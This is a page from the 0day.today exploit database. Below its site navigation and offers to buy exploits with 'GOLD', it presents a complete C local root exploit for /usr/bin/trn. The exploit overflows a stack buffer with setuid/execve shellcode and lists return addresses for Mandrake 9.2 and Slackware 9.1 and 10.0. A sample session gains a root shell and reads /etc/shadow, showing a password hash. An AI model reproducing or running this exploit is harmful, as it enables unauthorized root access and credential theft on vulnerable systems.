0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
/usr/bin/trn Local Exploit (not suid)
[=====================================
/usr/bin/trn Local Exploit (not suid)
=====================================
/*
/usr/bin/trn local root exploit
By ZzagorR - http://www.rootbinbash.com
*/
/*
sh-2.05b$ ./trn
usage : ./trn ret buf
example : ./trn 0xbfffff64
[+] mandrake 9.2 = 0xbfffff96
[+] slackware 10.0.0= 0xbfffff98
[+] slackware 9.1.0= 0xbfffff84
sh-2.05b$
sh-2.05b$ ./trn 0xbfffff84 128
[BOO %] 128
[RET %] bfffff84
sh-2.05b#
sh-2.05b# id
uid=0(root) gid=98(nobody) groups=98(nobody)
sh-2.05b# cat /etc/shadow
root:$1$N88/N.aP$dBWcFHiYCXXNb77Y5LPNK1:12705:0:::::
TEST :
MANDRAKE 9.2
SLACKWARE 10.0.0
SLACKWARE 9.1.0
http://www.rootbinbash.com/d0kum4n/trn-test.txt
BOO:
$trn `perl -e 'print "A" x 120'`
$trn `perl -e 'print "A" x 124'`
$trn `perl -e 'print "A" x 128'`
Segmentation fault
BOO=128
*/
#include <stdio.h>
#include <string.h>
#define NEREDE "/usr/bin/trn"
char caylarbeles[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char *argv[]){
int bizim;
char bufe[1000];
char *tayfasi;
if (argc < 3) {
printf ("{ trn l0c4l r00t 3xpl01t }\n");
printf ("{ By ZzagorR - http://www.rootbinbash.com }\n");
printf ("{ usage : %s ret buf }\n",argv[0]);
printf ("{ example : %s 0xbfffff99 142 }\n",argv[0]);
printf ("{ mandrake 9.2 = 0xbfffff96 }\n");
printf ("{ slackware 10.0.0 = 0xbfffff98 }\n");
printf ("{ slackware 9.1.0 = 0xbfffff84 }\n");
exit(1);
}else{
unsigned long RET=strtoul(argv[1], NULL, 16);
int BOO = atoi(argv[2]);
printf ("[BOO %] %i\n",BOO);
printf ("[RET %] %x\n",RET);
tayfasi = bufe;
memset(bufe, 0x41,256-strlen(caylarbeles));
sprintf(bufe+256-strlen(caylarbeles), "%s", caylarbeles);
for ( bizim = BOO; bizim <= BOO+4; bizim+= 4 )
*(long*)(tayfasi+bizim) = RET;
execl(NEREDE, NEREDE , bufe, NULL);
}
}
# 0day.today [2024-11-16] #